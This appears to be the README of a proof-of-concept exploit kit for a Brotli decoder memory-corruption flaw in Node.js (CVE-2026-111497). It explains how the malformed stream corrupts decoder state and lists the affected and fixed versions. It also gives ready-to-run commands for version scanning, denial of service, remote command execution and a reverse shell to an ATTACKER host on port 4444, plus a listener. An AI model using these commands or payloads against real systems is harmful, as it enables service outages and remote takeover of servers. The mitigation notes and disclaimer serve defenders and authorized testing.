
Proof-of-concept for CVE-2026-111497, an unauthenticated Brotli decoder memory corruption in Node.js: version scanner, DoS and corruption payloads, and reverse-shell compromise.
Unauthenticated memory corruption in the Brotli decoder shipped with Node.js. A stream that requests a block-type switch while only one block type exists makes DecodeBlockTypeAndLength() return BROTLI_FALSE. Callers treat that as “need more input”. On the vulnerable decoder the 8-byte stash is then overwritten with attacker bytes, and the worker stops returning from the decode call.
CVE: CVE-2026-111497
CVSS: 9.2
CWE: CWE-787, CWE-252
Component: Node.js node:zlib and fetch(), and any HTTP stack that inflates Content-Encoding: br (Express 5 / body-parser 2 with inflate left on)
| Software | Fixed in |
|---|---|
| Node.js 22.x | 22.23.4 |
| Node.js 24.x | 24.22.1 |
| Node.js 26.x | 26.12.1 |
| Node.js 20.x, 25.x | no fix (discontinued) |
| Bun | 1.4.4 |
| Brotli | 1.0.10, 1.1.1, 1.2.1 |
Patched Node.js releases reject the same stream as a format error and keep serving.
scanner.py), including an optional active probecmd-drain bitstream: 2^24 zero-cost dictionary commands drain block_length so the invalid switch is reachableContent-Encoding: br, body closedserver.py serves the same bytes to a Node.js fetch() clientlistener.py)node2shell.sh) for scan, dos, oob, compromise, and shellscanner.py reads Server and X-Powered-By and compares the version to the fixed releases above. --active posts the corruption arm.cmd-drain stream. Distance-34 dictionary transforms cost zero output bytes, so block_length hits zero while num_block_types is still 1.exploit.py or compromise.py posts that stream with Transfer-Encoding: chunked and Content-Encoding: br. The body ends with the 0 chunk, so a hang is the decoder, not an open request. server.py returns the same bytes to a fetch() caller.DecodeBlockTypeAndLength() returns BROTLI_FALSE. The vulnerable decoder copies the unconsumed tail through s->buffer.u8[8] into buffer_length, pos, ringbuffer_size, and the following fields.listener.py accepts it. Command output counts only when the verify marker is in the HTTP response.On a vulnerable Node.js worker that inflates Brotli request bodies, one closed chunked POST is enough. The worker stops answering (stall or connection reset) and the stash write has already landed in decoder state. Patched releases answer with a format error and stay up.
Code execution is reported only when the listener accepts a shell or the verify marker is in the response. Raise --retries on a multi-worker process so the stream hits a vulnerable worker.
Authorized testing only.
python3 scanner.py --check-version 24.22.0
python3 scanner.py http://target:3000
python3 exploit.py -t http://target:3000/api -v request -p dos
python3 exploit.py -t http://target:3000/api -v request -p oob
python3 compromise.py -t http://target:3000/api -c "id" --retries 20
python3 exploit.py -t http://target:3000/api -p compromise --revshell --host ATTACKER --port 4444
python3 listener.py --port 4444
python3 exploit.py -v response -p dos --server-port 8080
./node2shell.sh scan http://target:3000
./node2shell.sh dos http://target:3000 /api
./node2shell.sh oob http://target:3000 /api
./node2shell.sh compromise http://target:3000 "id" /api 20
./node2shell.sh compromise-shell http://target:3000 ATTACKER 4444 /api 50
metadata_rce needs --libc-base, --system-offset, and --binsh-offset from the target process.
| Path | Role |
|---|---|
brotli_payload.py | Trigger, hijack tail, and exec spray |
exploit.py | HTTP client (request and response vectors) |
compromise.py | Single-body corruption, hijack, and confirmation |
scanner.py | Version and surface checks |
server.py | fetch() response vector |
listener.py | Reverse-shell listener |
node2shell.sh | Command wrapper |
Upgrade Node.js to 22.23.4, 24.22.1, or 26.12.1. On discontinued lines, move to a fixed release. express.json({ inflate: false }) rejects compressed bodies. Drop Content-Encoding: br at the proxy for untrusted clients.
This proof of concept is for systems you own or are authorized to test. Unauthorized access is illegal.